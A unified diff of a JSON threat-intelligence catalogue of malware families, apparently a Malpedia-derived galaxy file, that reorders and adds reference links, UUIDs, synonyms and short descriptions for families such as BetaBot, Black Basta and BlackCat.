"http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref", "https://news.sophos.com/en-us/2020/07/14/raticate-rats-as-service-with-commercial-crypter/?cmp=30728", + "http://resources.infosecinstitute.com/beta-bot-analysis-part-1/#gref", "https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/BetaBot.pdf?la=en", "http://www.xylibox.com/2015/04/betabot-retrospective.html", - "https://krabsonsecurity.com/2022/03/28/betabot-in-the-rearview-mirror/" + "https://krabsonsecurity.com/2022/03/28/betabot-in-the-rearview-mirror/", + "https://medium.com/csis-techblog/inside-view-of-brazzzersff-infrastructure-89b9188fd145", + "https://securelist.com/financial-cyberthreats-in-2020/101638/", + "https://www.cybereason.com/blog/betabot-banking-trojan-neurevt", + "https://www.ccn-cert.cni.es/seguridad-al-dia/comunicados-ccn-cert/6087-betabot-y-fleercivet-dos-nuevos-informes-de-codigo-danino-del-ccn-cert.html", + "https://medium.com/@woj_ciech/betabot-still-alive-with-multi-stage-packing-fbe8ef211d39" ], "synonyms": [ "Neurevt" @@ -14271,9 +15159,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bhunt", - "https://blogs.blackberry.com/en/2022/02/threat-thursday-bhunt-scavenger", + "https://www.bleepingcomputer.com/news/security/new-bhunt-malware-targets-your-crypto-wallets-and-passwords/", "https://www.bitdefender.com/files/News/CaseStudies/study/411/Bitdefender-PR-Whitepaper-CyberWallet-creat5874-en-EN.pdf", - "https://www.bleepingcomputer.com/news/security/new-bhunt-malware-targets-your-crypto-wallets-and-passwords/" + "https://blogs.blackberry.com/en/2022/02/threat-thursday-bhunt-scavenger" ], "synonyms": [], "type": [] @@ -14281,13 +15169,30 @@ "uuid": "ae3fe9fa-0717-413e-94fe-6e7b607e45c6", "value": "BHunt" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.bianlian", + "https://twitter.com/malwrhunterteam/status/1558548947584548865", + "https://blog.cyble.com/2022/08/18/bianlian-new-ransomware-variant-on-the-rise/", + "https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/", + "https://blogs.blackberry.com/en/2022/10/bianlian-ransomware-encrypts-files-in-the-blink-of-an-eye", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "fcc016ad-41a0-4bda-ad88-9542b5f560d9", + "value": "BianLian (Windows)" + }, { "description": "Small and relatively simple ransomware for Windows. Gives files the .BI_D extension after encrypting them with a combination of RSA/AES. Persistence achieved via the Windows Registry. Kills all processes on the victim machine besides itself and a small whitelist of mostly Windows sytem processes and kills shadow copies.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bid_ransomware", - "http://zirconic.net/2018/07/bi_d-ransomware/", - "http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/" + "http://zirconic.net/2019/03/bi_d-ransomware-redux-now-with-100-more-ghidra/", + "http://zirconic.net/2018/07/bi_d-ransomware/" ], "synonyms": [], "type": [] @@ -14314,13 +15219,13 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.billgates", - "https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/", - "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/", + "https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf", "https://www.fortinet.com/blog/threat-research/recent-attack-uses-vulnerability-on-confluence-server", - "https://habrahabr.ru/post/213973/", - "https://securelist.com/versatile-ddos-trojan-for-linux/64361/", "https://bartblaze.blogspot.com/2017/12/notes-on-linuxbillgates.html", - "https://www.akamai.com/kr/ko/multimedia/documents/state-of-the-internet/bill-gates-botnet-threat-advisory.pdf" + "https://securelist.com/versatile-ddos-trojan-for-linux/64361/", + "https://thisissecurity.stormshield.com/2015/09/30/when-elf-billgates-met-windows/", + "https://habrahabr.ru/post/213973/", + "https://www.bleepingcomputer.com/news/security/log4shell-exploits-now-used-mostly-for-ddos-botnets-cryptominers/" ], "synonyms": [], "type": [] @@ -14348,9 +15253,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.biodata", "https://securelist.com/inpage-zero-day-exploit-used-to-attack-financial-institutions-in-asia/76717/", - "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", "https://unit42.paloaltonetworks.com/unit42-recent-inpage-exploits-lead-multiple-malware-families/", - "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/" + "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", + "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/" ], "synonyms": [], "type": [] @@ -14376,8 +15281,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.biopass", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", - "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html" + "https://www.trendmicro.com/en_us/research/21/g/biopass-rat-new-malware-sniffs-victims-via-live-streaming.html", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" ], "synonyms": [], "type": [] @@ -14397,15 +15302,6 @@ ], "type": [] }, - "related": [ - { - "dest-uuid": "f1e05a12-ca50-41ab-a963-d7df5bcb141d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "f98b4092-5f32-407c-9015-2da787d70c64", "value": "Biscuit" }, @@ -14414,11 +15310,11 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bistromath", - "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/", - "https://www.us-cert.gov/ncas/analysis-reports/ar20-045a", - "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", "https://ti.qianxin.com/blog/articles/Analysis-of-attacks-by-Lazarus-using-Daewoo-shipyard-as-bait/", - "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/" + "https://blog.malwarebytes.com/malwarebytes-news/2021/04/lazarus-apt-conceals-malicious-code-within-bmp-file-to-drop-its-rat/", + "https://labs.sentinelone.com/dprk-hidden-cobra-update-north-korean-malicious-cyber-activity/", + "https://www.us-cert.gov/ncas/analysis-reports/ar20-045a", + "https://securelist.com/andariel-evolves-to-target-south-korea-with-ransomware/102811/" ], "synonyms": [], "type": [] @@ -14432,8 +15328,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitpylock", "https://www.bleepingcomputer.com/news/security/bitpylock-ransomware-now-threatens-to-publish-stolen-data/", - "https://twitter.com/malwrhunterteam/status/1215252402988822529", - "https://yomi.yoroi.company/report/5e1d77b371ef016089703d1a/5e1d79d7d1cc4993da62f24f/overview" + "https://yomi.yoroi.company/report/5e1d77b371ef016089703d1a/5e1d79d7d1cc4993da62f24f/overview", + "https://twitter.com/malwrhunterteam/status/1215252402988822529" ], "synonyms": [], "type": [] @@ -14464,10 +15360,10 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bitter_rat", "https://ti.qianxin.com/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", - "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh/", "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", - "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", + "https://ti.360.net/blog/articles/analysis-of-targeted-attack-against-pakistan-by-exploiting-inpage-vulnerability-and-related-apt-groups-english/", "https://www.forcepoint.com/blog/security-labs/bitter-targeted-attack-against-pakistan" ], "synonyms": [], @@ -14481,30 +15377,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bit_rat", - "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", - "https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/", + "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", "https://isc.sans.edu/forums/diary/A+Zip+Bomb+to+Bypass+Security+Controls+Sandboxes/28670/", "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/", - "https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/", - "https://forensicitguy.github.io/hcrypt-injecting-bitrat-analysis/", - "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", - "https://www.trendmicro.com/en_us/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-ameri.html", - "https://community.riskiq.com/article/ade260c6", - "https://www.youtube.com/watch?v=CYm3g4zkQdw", + "https://www.bitdefender.com/blog/hotforsecurity/bitrat-malware-seen-spreading-through-unofficial-microsoft-windows-activators/", "https://www.fortinet.com/blog/threat-research/phishing-campaign-delivering-fileless-malware", - "https://asec.ahnlab.com/en/32781/", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", - "https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md", "https://www.fortinet.com/blog/threat-research/nft-lure-used-to-distribute-bitrat", - "https://krabsonsecurity.com/2020/08/22/bitrat-the-latest-in-copy-pasted-malware-by-incompetent-developers/", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/apt-c-36-updates-its-long-term-spam-campaign-against-south-american-entities-with-commodity-rats/BlindEagleIOCList.txt", - "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://community.riskiq.com/article/ade260c6", "https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities", - "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html" + "https://research.checkpoint.com/2021/apomacrosploit-apocalyptical-fud-race/", + "https://github.com/Finch4/Malware-Analysis-Reports/blob/main/13e0f258cfbe3aece8a7e6d29ceb5697/README.md", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/", + "https://blog.morphisec.com/hubfs/Journey%20of%20a%20Crypto%20Scammer%20-%20NFT-001%20%7C%20Morphisec%20%7C%20Threat%20Report.pdf", + "https://krabsonsecurity.com/2020/08/22/bitrat-the-latest-in-copy-pasted-malware-by-incompetent-developers/", + "https://www.bleepingcomputer.com/news/security/bitrat-malware-now-spreading-as-a-windows-10-license-activator/", + "https://asec.ahnlab.com/en/32781/", + "https://krabsonsecurity.com/2020/09/04/bitrat-pt-2-hidden-browser-socks5-proxy-and-unknownproducts-unmasked/", + "https://www.youtube.com/watch?v=CYm3g4zkQdw", + "https://www.trendmicro.com/en_us/research/21/i/Water-Basilisk-Uses-New-HCrypt-Variant-to-Flood-Victims-with-RAT-Payloads.html", + "https://blog.qualys.com/vulnerabilities-threat-research/2023/01/03/bitrat-now-sharing-sensitive-bank-data-as-a-lure", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/21/i/ssl-tls-technical-brief/ssl-tls-technical-brief.pdf" ], "synonyms": [], "type": [] @@ -14513,7 +15410,7 @@ "value": "BitRAT" }, { - "description": "", + "description": "Kaspersky Labs characterizes Bizarro as yet another banking Trojan family originating from Brazil that is now found in other regions of the world. They have seen users being targeted in Spain, Portugal, France and Italy. Attempts have now been made to steal credentials from customers of 70 banks from different European and South American countries. ", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.bizarro", @@ -14545,23 +15442,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackbasta", - "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware", - "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", - "https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/", "https://gbhackers.com/black-basta-ransomware/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", - "https://securelist.com/luna-black-basta-ransomware/106950", - "https://securityscorecard.pathfactory.com/all/a-deep-dive-into-bla", - "https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", - "https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html", - "https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/", - "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", - "https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/", "https://www.trendmicro.com/vinfo/us/security/news/ransomware-spotlight/ransomware-spotlight-blackbasta", + "https://securelist.com/luna-black-basta-ransomware/106950", "https://www.trendmicro.com/en_us/research/22/f/black-basta-ransomware-operators-expand-their-attack-arsenal-wit.html", - "https://securityscorecard.com/research/a-deep-dive-into-black-basta-ransomware" + "https://www.avertium.com/resources/threat-reports/in-depth-look-at-black-basta-ransomware", + "https://quadrantsec.com/resource/technical-analysis/black-basta-malware-overview", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware", + "https://www.reliaquest.com/blog/qbot-black-basta-ransomware/", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/", + "https://www.sentinelone.com/labs/black-basta-ransomware-attacks-deploy-custom-edr-evasion-tools-tied-to-fin7-threat-actor/", + "https://securityintelligence.com/posts/black-basta-ransomware-group-besting-network/", + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.cybereason.com/blog/threat-alert-aggressive-qakbot-campaign-and-the-black-basta-ransomware-group-targeting-u.s.-companies", + "https://securityscorecard.com/research/a-deep-dive-into-black-basta-ransomware", + "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", + "https://www.bleepingcomputer.com/news/security/new-black-basta-ransomware-springs-into-action-with-a-dozen-breaches/", + "https://www.zscaler.com/blogs/security-research/back-black-basta", + "https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis", + "https://www.trendmicro.com/en_us/research/22/e/examining-the-black-basta-ransomwares-infection-routine.html", + "https://assets.sentinelone.com/sentinellabs22/sentinellabs-blackbasta", + "https://www.bleepingcomputer.com/news/security/american-dental-association-hit-by-new-black-basta-ransomware/", + "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", + "https://securityscorecard.pathfactory.com/all/a-deep-dive-into-bla", + "https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/" ], "synonyms": [ "no_name_software" @@ -14569,31 +15477,33 @@ "type": [] }, "uuid": "ada47367-7e69-4122-b5c1-4e5aeb54f922", - "value": "Black Basta" + "value": "Black Basta (Windows)" }, { "description": "Ransomware. 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"https://redcanary.com/blog/blackbyte-ransomware/" + "https://www.picussecurity.com/resource/ttps-used-by-blackbyte-ransomware-targeting-critical-infrastructure", + "https://www.bleepingcomputer.com/news/security/fbi-blackbyte-ransomware-breached-us-critical-infrastructure/", + "https://www.advintel.io/post/hydra-with-three-heads-blackbyte-the-future-of-ransomware-subsidiary-groups" ], "synonyms": [], "type": [] @@ -14606,46 +15516,57 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcat", - "https://medium.com/s2wblog/blackcat-new-rust-based-ransomware-borrowing-blackmatters-configuration-31c8d330a809", - "https://krebsonsecurity.com/2022/01/who-wrote-the-alphv-blackcat-ransomware-strain/", - "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", - "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", - "https://www.crowdstrike.com/blog/falcon-overwatch-contributes-to-blackcat-protection/", - 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"https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", - "https://github.com/f0wl/blackCatConf", + "https://cert.ssi.gouv.fr/uploads/20220427_NP_TLPWHITE_ANSSI_FIN7.pdf", + "https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023", + "https://www.netskope.com/blog/blackcat-ransomware-tactics-and-techniques-from-a-targeted-attack", "https://www.cybereason.com/blog/cybereason-vs.-blackcat-ransomware", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/" + "https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape", + "https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf", + "https://www.microsoft.com/en-us/security/blog/2022/10/25/dev-0832-vice-society-opportunistic-ransomware-campaigns-impacting-us-education-sector/", + "https://www.trendmicro.com/vinfo/us/security/news/ransomware-by-the-numbers/lockbit-conti-and-blackcat-lead-pack-amid-rise-in-active-raas-and-extortion-groups-ransomware-in-q1-2022", + "https://unit42.paloaltonetworks.com/blackcat-ransomware/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://thehackernews.com/2022/04/researchers-connect-blackcat-ransomware.html", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/06/23093553/Common-TTPs-of-the-modern-ransomware_low-res.pdf", + "https://community.riskiq.com/article/47766fbd", + "https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf", + "https://news.sophos.com/en-us/2022/07/14/blackcat-ransomware-attacks-not-merely-a-byproduct-of-bad-luck/", + "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", + "https://securityscorecard.com/blog/ttps-associated-with-new-version-of-blackcat-ransomware", + "https://www.bleepingcomputer.com/news/security/march-2023-broke-ransomware-attack-records-with-459-incidents/", + "https://www.zdnet.com/article/blackcat-ransomware-implicated-in-attack-on-german-oil-companies/", + "https://securelist.com/modern-ransomware-groups-ttps/106824/", + "https://www.trendmicro.com/en_us/research/22/d/an-investigation-of-the-blackcat-ransomware.html", + "https://therecord.media/german-wind-farm-operator-confirms-cybersecurity-incident-after-ransomware-group/", + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-alphv-rust-ransomware", + "https://blog.group-ib.com/blackcat", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", + "https://killingthebear.jorgetesta.tech/actors/alphv", + "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/noberus-blackcat-ransomware-ttps", + "https://github.com/f0wl/blackCatConf", + "https://www.computerweekly.com/news/252525240/ALPHV-BlackCat-ransomware-family-becoming-more-dangerous" ], "synonyms": [ "ALPHV", @@ -14661,19 +15582,19 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackcoffee", - "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", - "https://www.secureworks.com/research/threat-profiles/bronze-keystone", "https://intrusiontruth.wordpress.com/2019/07/24/apt17-is-run-by-the-jinan-bureau-of-the-chinese-ministry-of-state-security/", - "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", - "https://www.youtube.com/watch?v=NFJqD-LcpIg", - "https://attack.mitre.org/groups/G0001/", - "http://malware-log.hatenablog.com/entry/2015/05/18/000000_1", - "https://www.secureworks.com/research/threat-profiles/bronze-mohawk", - "https://attack.mitre.org/software/S0069/", "https://attack.mitre.org/groups/G0096", - "http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf", "https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html", - "https://attack.mitre.org/groups/G0025/" + "https://www.secureworks.com/research/threat-profiles/bronze-keystone", + "https://www.youtube.com/watch?v=NFJqD-LcpIg", + "http://malware-log.hatenablog.com/entry/2015/05/18/000000_1", + "http://www.novetta.com/wp-content/uploads/2014/11/ZoxPNG.pdf", + "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html", + "https://attack.mitre.org/software/S0069/", + "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf", + "https://attack.mitre.org/groups/G0001/", + "https://attack.mitre.org/groups/G0025/", + "https://www.secureworks.com/research/threat-profiles/bronze-mohawk" ], "synonyms": [ "PNGRAT", @@ -14690,43 +15611,36 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy", - 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"https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", "https://blog.trendmicro.com/trendlabs-security-intelligence/operation-black-atlas-endangers-in-store-card-payments-and-smbs-worldwide-switches-between-blackpos-and-other-tools/", - "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf" + "https://web.archive.org/web/20200509171721/https://raw.githubusercontent.com/fdiskyou/threat-INTel/master/2015/GlobalThreatIntelReport.pdf", + "https://usa.visa.com/dam/VCOM/global/support-legal/documents/new-pos-malware-samples.pdf", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-blackpos-malware-emerges-in-the-wild-targets-retail-accounts/" ], "synonyms": [ "Kaptoxa", @@ -14900,9 +15843,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackremote", + "https://news.sophos.com/en-us/2020/05/14/raticate/", "https://unit42.paloaltonetworks.com/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/", - "https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/", - "https://news.sophos.com/en-us/2020/05/14/raticate/" + "https://unit42.paloaltonetworks.jp/blackremote-money-money-money-a-swedish-actor-peddles-an-expensive-new-rat/" ], "synonyms": [ "BlackRAT" @@ -14945,8 +15888,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackruby", - "https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/", - "https://www.acronis.com/en-us/blog/posts/black-ruby-combining-ransomware-and-coin-miner-malware" + "https://www.acronis.com/en-us/blog/posts/black-ruby-combining-ransomware-and-coin-miner-malware", + "https://www.bleepingcomputer.com/news/security/black-ruby-ransomware-skips-victims-in-iran-and-adds-a-miner-for-good-measure/" ], "synonyms": [], "type": [] @@ -14959,27 +15902,31 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackshades", - "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga", "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-2-blackshades-net/", - "https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/", + "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html", "https://blog.malwarebytes.com/threat-analysis/2012/06/blackshades-in-syria/", - "http://contagiodump.blogspot.com/2012/06/rat-samples-from-syrian-targeted.html" + "https://blog.malwarebytes.com/threat-analysis/2014/05/taking-off-the-blackshades/", + "https://www.secureworks.com/research/threat-profiles/aluminum-saratoga" ], "synonyms": [], "type": [] }, - "related": [ - { - "dest-uuid": "8c3202d5-1671-46ec-9d42-cb50dbe2f667", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "similar" - } - ], "uuid": "0fb57d46-1c4f-49a3-80c2-05bcaa34ec1b", "value": "BlackShades" }, + { + "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/win.blacksnake", + "https://blog.cyble.com/2023/03/09/blacksnake-ransomware-emerges-from-chaos-ransomwares-shadow/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "366fe903-5ab4-47d3-a0e0-8ff45b2b4a8c", + "value": "BlackSnake" + }, { "description": "", "meta": { @@ -14998,8 +15945,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackworm_rat", - "https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html", "https://github.com/BlackHacker511/BlackWorm", + "https://www.fireeye.com/blog/threat-research/2014/08/connecting-the-dots-syrian-malware-team-uses-blackworm-for-attacks.html", "https://www.fidelissecurity.com/threatgeek/archive/down-h-w0rm-hole-houdinis-rat/" ], "synonyms": [], @@ -15026,13 +15973,15 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindingcan", - "https://www.hvs-consulting.de/lazarus-report/", + "https://securelist.com/the-lazarus-group-deathnote-campaign/109490/", "https://www.hvs-consulting.de/media/downloads/ThreatReport-Lazarus.pdf", "https://www.sentinelone.com/blog/the-blindingcan-rat-and-malicious-north-korean-activity/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://blogs.jpcert.or.jp/en/2020/09/BLINDINGCAN.html", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a", + "https://www.welivesecurity.com/2022/09/30/amazon-themed-campaigns-lazarus-netherlands-belgium/", "https://www.mandiant.com/resources/blog/dprk-whatsapp-phishing", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-232a" + "https://www.hvs-consulting.de/lazarus-report/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf" ], "synonyms": [ "DRATzarus RAT" @@ -15048,8 +15997,9 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blindtoad", "https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-continues-heists-mounts-attacks-on-financial-organizations-in-latin-america/", - "https://content.fireeye.com/apt/rpt-apt38", - "https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html" + "https://baesystemsai.blogspot.com/2017/10/taiwan-heist-lazarus-tools.html", + "https://adeo.com.tr/wp-content/uploads/2020/05/ADEO-Lazarus-APT38.pdf", + "https://content.fireeye.com/apt/rpt-apt38" ], "synonyms": [], "type": [] @@ -15062,20 +16012,20 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.blister", - "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", - "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", - "https://elastic.github.io/security-research/malware/2022/05/02.blister/article/", - "https://www.elastic.co/blog/elastic-security-uncovers-blister-malware-campaign", "https://www.trendmicro.com/en_us/research/22/d/Thwarting-Loaders-From-SocGholish-to-BLISTERs-LockBit-Payload.html", "https://www.mandiant.com/resources/unc2165-shifts-to-evade-sanctions", - "https://killingthebear.jorgetesta.tech/actors/evil-corp", + "https://medium.com/walmartglobaltech/socgholish-campaigns-and-initial-access-kit-4c4283fea8ee", 